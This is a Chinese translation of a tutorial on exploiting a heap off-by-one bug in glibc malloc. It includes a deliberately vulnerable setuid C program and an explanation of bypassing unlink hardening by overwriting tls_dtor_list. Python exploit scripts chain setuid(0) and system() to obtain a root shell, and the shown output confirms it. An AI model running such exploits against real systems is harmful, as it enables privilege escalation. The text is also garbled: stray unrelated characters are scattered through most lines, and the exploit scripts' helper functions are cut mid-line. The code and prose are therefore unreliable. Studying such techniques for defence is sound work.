Off-By-One 漏洞(基于堆)
譯者:飛龍
預(yù)備條件:
VM 配置:Fedora 20(x86)
什么是 Off-By-One 漏洞河哑?
在這篇文章中提到過克握,將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能造成 Off-By-One 漏洞漾橙,當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候具壮。
當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候聊浅,單個(gè) NULL 字符會(huì)復(fù)制到目標(biāo)緩沖區(qū)的上方。因此由于目標(biāo)緩沖區(qū)位于堆上,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊的塊頭部,并且這會(huì)導(dǎo)致任意代碼執(zhí)行漫谷。
回顧:在這篇文章中提到,在每個(gè)用戶請(qǐng)求堆內(nèi)存時(shí)蹂析,堆段被劃分為多個(gè)塊舔示。每個(gè)塊有自己的塊頭部(由malloc_chunk
表示)碟婆。malloc_chunk
結(jié)構(gòu)包含下面四個(gè)元素:
prev_size
-- 如果前一個(gè)塊空閑,這個(gè)字段包含前一個(gè)塊的大小惕稻。否則前一個(gè)塊是分配的竖共,這個(gè)字段包含前一個(gè)塊的用戶數(shù)據(jù)。-
size
:這個(gè)字符包含分配塊的大小缩宜。字段的最后三位包含標(biāo)志信息肘迎。-
PREV_INUSE (P)
如果前一個(gè)塊已分配,會(huì)設(shè)置這個(gè)位锻煌。 -
IS_MMAPPED (M)
當(dāng)塊是 mmap 塊時(shí),會(huì)設(shè)置這個(gè)位姻蚓。 -
NON_MAIN_ARENA (N)
當(dāng)這個(gè)塊屬于線程 arena 時(shí)宋梧,會(huì)設(shè)置這個(gè)位。
-
fd
指向相同 bin 的下一個(gè)塊狰挡。bk
指向相同 bin 的上一個(gè)塊捂龄。
漏洞代碼:
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SIZE 16
int main(int argc, char* argv[])
{
int fd = open("./inp_file", O_RDONLY); /* [1] */
if(fd == -1) {
printf("File open error\n");
fflush(stdout);
exit(-1);
}
if(strlen(argv[1])>1020) { /* [2] */
printf("Buffer Overflow Attempt. Exiting...\n");
exit(-2);
}
char* tmp = malloc(20-4); /* [3] */
char* p = malloc(1024-4); /* [4] */
char* p2 = malloc(1024-4); /* [5] */
char* p3 = malloc(1024-4); /* [6] */
read(fd,tmp,SIZE); /* [7] */
strcpy(p2,argv[1]); /* [8] */
free(p); /* [9] */
}
編譯命令:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
注意:
出于我們的演示目的,關(guān)閉了 ASLR加叁。如果你也想要繞過 ASLR倦沧,使用信息泄露 bug,或者爆破機(jī)制它匕,在這篇文章中描述展融。
上述漏洞代碼的行[2]
和[8]
是基于堆的 off-by-one 溢出發(fā)生的地方。目標(biāo)緩沖區(qū)的長(zhǎng)度是 1020豫柬,因此長(zhǎng)度為 1020 的源字符串可能導(dǎo)致任意代碼執(zhí)行告希。
任意代碼執(zhí)行如何實(shí)現(xiàn)?
任意代碼執(zhí)行烧给,當(dāng)單個(gè) NULL 字節(jié)覆蓋下一個(gè)塊(p3
)的塊頭部時(shí)實(shí)現(xiàn)燕偶。當(dāng)大小為 1020 字節(jié)(p2
)的塊由單個(gè)字節(jié)溢出時(shí),下一個(gè)塊(p3
)的頭部中的size
的最低字節(jié)會(huì)被 NULL 字節(jié)覆蓋础嫡,并不是prev_size
的最低字節(jié)指么。
為什么
size
的 LSB 會(huì)被覆蓋,而不是prev_size
榴鼎?
checked_request2size
將用戶請(qǐng)求的大小轉(zhuǎn)換為可用大胁堋(內(nèi)部表示的大小)檬贰,因?yàn)樾枰恍╊~外空間來儲(chǔ)存malloc_chunk
姑廉,并且也出于對(duì)齊目的。轉(zhuǎn)換實(shí)現(xiàn)的方式是翁涤,可用大小的三個(gè)最低位始終不會(huì)為零(也就是 8 的倍數(shù)桥言,譯者注)萌踱,所以可以用于放置標(biāo)志信息 P、M 和 N号阿。
因此當(dāng)我們的漏洞代碼執(zhí)行malloc(1020)
時(shí)并鸵,用戶請(qǐng)求大小 1020 字節(jié)會(huì)轉(zhuǎn)換為((1020 + 4 + 7) & ~7)
字節(jié)(內(nèi)部表示大小)扔涧。1020 字節(jié)的分配塊的富余量?jī)H僅是 4 個(gè)字節(jié)园担。但是對(duì)于任何分配塊,我們需要 8 字節(jié)的塊頭部枯夜,以便儲(chǔ)存prev_size
和size
信息弯汰。因此 1024 字節(jié)的前八字節(jié)會(huì)用于塊頭部,但是現(xiàn)在我們只剩下 1016(1024 - 8)字節(jié)用于用戶數(shù)據(jù)湖雹,而不是 1020 字節(jié)咏闪。但是像上面prev_size
定義中所述,如果上一個(gè)塊(p2
)已分配摔吏,塊(p3
)的prev_size
字段包含用戶數(shù)據(jù)鸽嫂。因此塊p3
的prev_size
位于這個(gè) 1024 字節(jié)的分配塊p2
后面,并包含剩余 4 字節(jié)的用戶數(shù)據(jù)征讲。這就是size
的 LSB 被單個(gè) NULL 字節(jié)覆蓋据某,而不是prev_size
的原因。
堆布局
注意:上述圖片中的攻擊者數(shù)據(jù)會(huì)在下面的“覆蓋tls_dtor_list
”一節(jié)中解釋诗箍。
現(xiàn)在回到我們?cè)嫉膯栴}癣籽。
任意代碼執(zhí)行如何實(shí)現(xiàn)?
現(xiàn)在我們知道了扳还,在 off-by-one 漏洞中才避,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊(p3
)size
字段的 LSB。這單個(gè) NULL 字節(jié)的溢出意味著這個(gè)塊(p3
)的標(biāo)志信息被清空氨距,也就是被溢出塊(p2
)變成空閑塊桑逝,雖然它處于分配狀態(tài)。當(dāng)被溢出塊(p2
)的標(biāo)志 P 被清空俏让,這個(gè)不一致的狀態(tài)讓 glibc 代碼 unlink 這個(gè)塊(p2
)楞遏,它已經(jīng)在分配狀態(tài)。
在這篇文章中我們看到首昔,unlink 一個(gè)已經(jīng)處于分配狀態(tài)的塊寡喝,會(huì)導(dǎo)致任意代碼執(zhí)行,因?yàn)槿魏嗡膫€(gè)字節(jié)的內(nèi)存區(qū)域都能被攻擊者的數(shù)據(jù)覆蓋勒奇。但是在同一篇文章中预鬓,我們也看到,unlink 技巧已經(jīng)廢棄赊颠,因?yàn)?glibc 近幾年來變得更加可靠格二。具體來說劈彪,因?yàn)椤半p向鏈表損壞”的條件,任意代碼執(zhí)行時(shí)不可能的顶猜。
但是在 2014 年末沧奴,Google 的 Project Zero 小組找到了一種方式,來成功繞過“雙向鏈表損壞”的條件长窄,通過 unlink large 塊滔吠。
unlink:
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
// Primary circular double linked list hardening - Run time check
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
// If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
FD->bk = BK; /* [2] */
BK->fd = FD; /* [3] */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// Secondary circular double linked list hardening - Debug assert
assert (P->fd_nextsize->bk_nextsize == P); /* [4] */
assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
}
}
}
}
在 glibc malloc 中,主要的環(huán)形雙向鏈表由malloc_chunk
的fd
和bk
字段維護(hù)挠日,而次要的環(huán)形雙向鏈表由malloc_chunk
的fd_nextsize
和bk_nextsize
字段維護(hù)疮绷。雙向鏈表的加固看起來用在主要(行[1]
)和次要(行[4]
和[5]
)的雙向鏈表上,但是次要的環(huán)形雙向鏈表的加固肆资,只是個(gè)調(diào)試斷言語句(不像主要雙向鏈表加固那樣矗愧,是運(yùn)行時(shí)檢查),它在生產(chǎn)構(gòu)建中沒有被編譯(至少在 fedora x86 中)郑原。因此,次要的環(huán)形雙向鏈表的加固(行[4]
和[5]
)并不重要夜涕,這讓我們能夠向任意 4 個(gè)字節(jié)的內(nèi)存區(qū)域?qū)懭肴魏螖?shù)據(jù)(行[6]
和[7]
)犯犁。
然而還有一些東西應(yīng)該解釋,所以讓我們更詳細(xì)地看看女器,unlink large 塊如何導(dǎo)致任意代碼執(zhí)行酸役。由于攻擊者已經(jīng)控制了 -- 要被釋放的 large 塊,它覆蓋了malloc_chunk
元素驾胆,像這樣:
-
fd
應(yīng)該指向被釋放的塊涣澡,來繞過主要環(huán)形雙向鏈表的加固。 -
bk
也應(yīng)該指向被釋放的塊丧诺,來繞過主要環(huán)形雙向鏈表的加固入桂。 -
fd_nextsize
應(yīng)該指向free_got_addr – 0x14
。 -
bk_nextsize
應(yīng)該指向system_addr
驳阎。
但是根據(jù)行[6]
和[7]
抗愁,需要讓fd_nextsize
和bk_nextsize
都是可寫的。fd_nextsize
是可寫的呵晚,(因?yàn)樗赶蛄?code>free_got_addr – 0x14)蜘腌,但是bk_nextsize
不是可寫的,因?yàn)樗赶蛄?code>system_addr饵隙,它屬于libc.so
的文本段撮珠。讓fd_nextsize
和bk_nextsize
都可寫的問題,可以通過覆蓋tls_dtor_list
來解決金矛。
覆蓋tls_dtor_list
:
tls_dtor_list
是個(gè)線程局部的變量芯急,它包含函數(shù)指針的列表勺届,它們?cè)?code>exit過程中調(diào)用。__call_tls_dtors
遍歷tls_dtor_list
并依次調(diào)用函數(shù)志于。因此如果我們可以將tls_dtor_list
覆蓋為堆地址涮因,它包含system
和system_arg
,來替代dtor_list
的func
和obj
伺绽,我們就能調(diào)用system
养泡。
所以現(xiàn)在攻擊者需要覆蓋要被釋放的 large 塊的malloc_chunk
元素,像這樣:
-
fd
應(yīng)該指向被釋放的塊奈应,來繞過主要環(huán)形雙向鏈表的加固澜掩。 -
bk
也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固杖挣。 -
fd_nextsize
應(yīng)該指向tls_dtor_list - 0x14
肩榕。 -
bk_nextsize
應(yīng)該指向含有dtor_list
元素的堆地址。
fd_nextsize
可寫的問題解決了惩妇,因?yàn)?code>tls_dtor_list屬于libc.so
的可寫區(qū)段株汉,并且通過反匯編_call_tls_dtors()
,tls_dtor_list
的地址為0xb7fe86d4
歌殃。
bk_nextsize
可寫的問題也解決了乔妈,因?yàn)樗赶蚨训刂贰?/p>
使用所有這些信息,讓我們編寫利用程序來攻擊漏洞二進(jìn)制的“前向合并”氓皱。
利用代碼:
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
執(zhí)行上述利用代碼不會(huì)向我們提供 root shell路召。它向我們提供了一個(gè)運(yùn)行在我們的權(quán)限級(jí)別的 bash shell。嗯...
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$
為什么不能獲得 root shell波材?
當(dāng)uid != euid
時(shí)股淡,/bin/bash
會(huì)丟棄權(quán)限。我們的二進(jìn)制“前向合并”的真實(shí) uid 是 1000廷区,但是它的有效 uid 是 0唯灵。因此當(dāng)system
調(diào)用時(shí),bash 會(huì)丟棄權(quán)限躲因,因?yàn)檎鎸?shí) uid 不等于有效 uid早敬。為了解決這個(gè)問題,我們需要在system
之前調(diào)用setuid(0)
大脉,因?yàn)?code>_call_tls_dtors()依次遍歷tls_dtor_list
搞监,我們需要將setuid
和system
鏈接,以便獲得 root shell镰矿。
完整的利用代碼:
#gen_file.py
#!/usr/bin/env python
import struct
#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430
#endianess convertion
def conv(num):
return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)
print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
執(zhí)行上述利用代碼會(huì)給我們 root shell琐驴。
$ python gen_file.py > inp_file
$ python exp.py
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$
我們的 off-by-one 漏洞代碼會(huì)向前合并塊,也可以向后合并。這種向后合并 off-by-one 漏洞代碼也可以利用绝淡。